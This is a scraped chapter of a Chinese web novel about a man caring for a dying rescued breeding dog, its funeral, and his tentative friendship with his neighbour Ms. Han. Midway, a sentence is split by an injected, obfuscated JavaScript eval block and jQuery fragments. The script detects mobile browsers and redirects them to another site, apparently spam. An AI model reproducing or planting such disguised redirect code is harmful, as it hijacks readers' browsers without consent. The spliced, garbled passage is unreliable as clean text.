章西桥整日在小区里遛狗，早上带着大猛和小美在空旷的地方看橙灿灿的太阳从东方亮起来，他给早起晨跑的韩小姐打招呼：早上好啊，跑几圈了？今天有点热是吧，日出比平常早了八分钟呢，空气真清新。
要是小美的状态好，章西桥就推着婴儿车，牵着大猛，长长的腿迈着小碎步，跟着韩小姐跑几步，在韩小姐的旁边唠嗑：跑起来还有点风，早晨的风真是沁人心脾，这小区不错噢，跑道挺有弹性的，一圈有多长？跑道是绕着中心湖转了一圈吧？我感觉要有3公里，住的人也不多，哎你知道吗，咱们后面那栋联排别墅住的那对夫妻是清北退休的教授......
章西桥的唠嗑有来无回，单机的，韩小姐要么不理他，要么只给他一个冷淡的眼神，幸好章西桥脸皮比较厚，不论韩小姐什么反应，他都能自娱自乐。
有时候韩小姐跑远了，在橘色橡胶跑道的另一边看见章西桥蹲在草丛前摘些野草野花，编成花环戴在小美和大猛的头上，兴致勃勃的给两只狗拍照，像哄小孩似的说，我们小美真漂亮，闻闻花香不香，大猛你笑一个，露牙笑，我给你的牙刷的这么白，别不好意思露出来。
韩小姐总能在家里看到章西桥前一天穿的卫衣或外套，金亮亮在衣服上打滚、睡觉、抓挠、还掉一身毛在上面。等气味没了，金亮亮就立刻弃如敝屣，看都不会再看一眼，到了这个时候，黄阿姨就把衣服收走清洗，晒干熨烫以后再还给章西桥。
不知道是章西桥照顾有加，还是狗的自制力顽强，有一日，韩小姐在花园里陪六只小猫晒背的时候，瞧见隔壁院子的草地上，趴在铺了毛毯上的小美竟然晃晃悠悠站了起来。
小美是只比熊，章西桥可能怕加重它的病情，所以一直没有给它洗过澡，任由身上的毛发脏成一缕一缕，小猫们发出可爱的哼唧声，那狗顺着声音，颤巍巍，从两扇栅栏下钻过来。
大猛从别的地方跑过来，隔着一步远的距离，尾巴垂下去，紧张的盯着小美。
小猫保姆担心章先生的病狗会咬伤小猫或者带来传染病，有意轰它离开，才刚出声就被韩小姐抬手制止了。
韩小姐靠在躺椅上，戴着宽檐遮阳帽和茶棕色的墨镜，手里捧着一本书，偏过头看着。
小美蹒跚的凑到猫窝前，嗅了嗅，仰起头去看人的反应，没发现‘驱赶’的指令，它趴下来，脑袋搭了一点猫窝的边缘，摇晃起尾巴，疲倦的黑眼睛温柔的看着新生命。
在繁殖犬的生涯里，怀孕、产仔、哺乳，三个环节组成了一个残酷的循环，周而复始，唯有死亡才可解脱，人赋予它远超负荷的生育重担，再将幼崽售卖获利，然而在每一次新生命前，它的本能却从未被磨灭。
金亮亮坐在栅栏的木桩上，低头俯瞰，片刻后一跃而起跳进了韩小姐的怀里，韩小姐一边揉着被15斤的猫重重踩痛的肋骨，一边拿出了猫条。
章西桥给庄集发微信：“全世界的猫猫狗狗都在撮合我和韩小姐。”
配图是小美在隔壁花园里看小猫。
庄集回复：“有没有可能只是它喜欢小宝宝？”
章西桥：“大哥，你不能有点想象力吗？”
庄集：“想象力要是能当汽油用，我一定插上想象的翅膀。”
章西桥：“你又去哪了？”
庄集：“山西，求助人说那边有条狗想让我过去看看，章老板，我现在正在想象你高高兴兴给我报销油补的样子。”
章西桥：“别想太多，不然小脑瓜容易打结。”
庄集：“......”
过了会儿，章西桥说：“等回来以后就赶紧把你看中的新能源车提回来吧，电费比加油便宜多了，而且我家车库里就有充电的地方，非常方便的！”
庄集：“我都能买得起新车我安不起充电桩吗？想让我给你当司机就直说。”
章西桥知道小美喜欢小猫，但他又不敢去借小猫，怕被母猫跟过来，于是找小猫保姆商量，“能不能让我们小美去你家玩儿一会儿？它没传染病的，也有做驱虫。”
小猫保姆说要去找韩小姐商量，章西桥只好早上和晚上去偶遇跑步的韩小姐。
韩小姐又出差了，一连两三天都没回家，她代表韩家参加宴请、开会，陪合作商看赛马、去海钓、打高尔夫，成功谈下几桩生意，司机载她抵达家门口的时候都是隔日的凌晨1点多了。
韩小姐早上六点整出门晨跑，听说隔壁的章先生要借小猫，于是让小猫保姆在小猫睡醒后带到花园里去。
晨跑快结束时，韩小姐看到了章西桥。
章西桥穿着黑色连帽衫出门遛狗，牵着大猛，但是没有推婴儿车。
韩小姐路过他，说：“小猫10点去花园里晒太阳。”
章西桥说：“谢谢，但是不用了，小美昨天去汪星球了。”
韩小姐停顿了几秒，说：“节哀。”
章西桥说好，又问韩小姐要不要去看看它，“它是个漂亮的小狗，性格也很好，即便被虐待过，也还愿意相信人。”
韩小姐接受了小美葬礼的邀请，半个小时后，她换了身黑色套裙，与小猫保姆和黄阿姨去了章西桥的家里。
小狗躺在一只粉色的礼品箱里，毛发被洗过了，白绵绵的，梳理的很整齐，脖子上戴着粉色的玻璃珠项链，身体周围摆放了一圈漂亮的鲜花，像睡着了一样，很安详。
大猛低头嗅着，发出轻轻的哼唧声，听起来哀愁不舍。
小猫保姆说：“章先生，是你清理的小狗吗？
章西桥点头。
小猫保姆问：“你是宠物入殓师吗？”
章西桥想了想说：“算是吧，我朋友是宠物医生，我给他帮点忙。”
韩小姐瞥了章西桥一眼，又把目光重新投在小狗棺材里，章西桥把小狗洗得干干净净，梳理了毛发，还戴上了漂亮发夹，章西桥说过小美的病治不好，所以提前做好了这样结局的准备。
他打理的这般漂亮，不知道是因为认真心细，还是因为做了太多次这样的事。
章西桥开车载着装着小狗的小小棺材去了宠物殡葬中心，下午变了天，阴云遮住了太阳，章西桥查了天气预报，最近这几天连续有雨，章西桥听说自己出生那天也下了瓢泼大雨，而在此之前的几天都是阳光明媚，章朔生在晴天，轮到章西桥出生的时候就下了大雨，章家老爷子迷信，说章西桥一出生，老天爷都不愿意。
章西桥小时候听到老爷子这么指责他，还觉得挺伤心，投胎的时候也没人让他选择，就这么擅自生下他，然后让他不停的遭受指责。长大以后他想明白了，也就无所谓了，实在觉得烦，就跟老爷子贫几嘴：老天爷怎么就不愿意了，明明是得知我出生，所以喜极而泣，激动的都落泪了。
老爷子气不打一处来，用手杖重重的敲章西桥的后背，“胡言乱
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861798|176068||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
语，我让你胡言乱语！”
老爷子气的肝儿颤，照着章西桥的后背敲上好几棍子，章朔的母亲许女士冷眼旁观上一会儿，才会出面说：“爸，别跟西桥生气了，他嘴笨不会说话，不是故意惹您生气的。”
许女士看向章西桥，眼神里满是苛责，章西桥笑嘻嘻说：“爷爷，我学历低没文化，您就不要和我生气了！”
章老爷子说：“我们家怎么就出了你这么个混账东西！”
许女士安抚老爷子，“对了爸，硕硕的作品拿奖了，让我给您报喜呢，您来瞧瞧他做的怎么样。”
章西桥觉得特没劲，站了一会儿就走了。
虽然下了雨，但并不冷，绵绵的雨丝落在脸上反而挺舒服的，章西桥在入户台阶上伸出手接雨，突然说：“大猛，咱们出去跳水坑吧。”
他说干就干，给大猛穿了件狗狗雨衣，自己却不穿，跑到小花园里淋雨。
大猛忧心忡忡的望着外面，不肯伸出爪子，章西桥就握住它粗壮的狗爪把它强行拉出来，再强行按进地面的小水洼里，“你瞧，不可怕是不是，摇摇尾巴笑一个。古人都说了，人有悲欢离合，月有阴晴圆缺，晴雨皆是美景，只有正确的看待狗生，你才能活出精彩。”
隔壁二楼的窗户开着一条缝，几日不见的王小姐又来韩小姐家做客，她抱着小猫扭头对韩小姐说：“章西桥这人真幼稚，和狗在外面淋雨玩呢，没想到他是这种人设。”
韩小姐不感兴趣，懒得搭话，小猫保姆凑到窗边看了看，若有所思：“他的狗......”
王小姐问：“嗯？”
小猫保姆抿着唇摇摇头，似乎不好说，王小姐很好奇，“什么嘛？你说啊。”
小猫保姆只好说：“他的狗可能有什么病。”
“什么病？”韩小姐轻柔的抚摸小猫的柔软的小肚子，小猫对她手腕上垂下来的银色手链很感兴趣，小爪子抓来抓去。
小猫保姆摆摆手：“我猜的，不一定准，就是感觉可能有点心理问题。”
王小姐不以为然，“狗怎么会有心理问题，它什么都不懂。”
王小姐来的次数不多，所以没注意到也情有可原，韩小姐抱着小白猫走到窗边，细雨延绵，空气里充满青草和泥土的味道。
楼下，隔壁的邻居正让他的狗尝试在水汪汪的草坪上打滚。
他的狗为难着，被再三鼓励后趴到了草坪上，生疏的滚了一圈。
那只总是郁郁寡欢的狗很快找到了乐趣，总是垂着的尾巴罕见的摇了摇，不用主人再啰嗦，接二连三在草坪上滚来滚去。
韩小姐赞同小猫保姆的想法，但狗是别人的，她不便置喙，不过韩小姐觉得章西桥很适合照顾动物，他健谈活泼，侃侃而谈时手舞足蹈，即便对着听不懂的小动物，也能洋溢着热情，神气极了。
王小姐想和韩小姐说点事，于是让小猫保姆去给小猫们制作营养餐，只剩下她们两个人和六只小猫时，王小姐说：“锦之，有个事我必须要和你八卦一下，你那个准未婚夫太渣了，我朋友前几天在旧金山的一场派对上遇到他了，他跟金发妞在派对的泳池里跳热舞，□□那种！不对，不是美女裸，是他裸，我朋友还拍了视频呢，你要看吗？”
韩小姐露出嫌恶至极的表情，坚定的拒绝：“不看！”
王小姐却玩心大起，举着手机追过去，“看一下嘛，看一下，你肯定没见过。”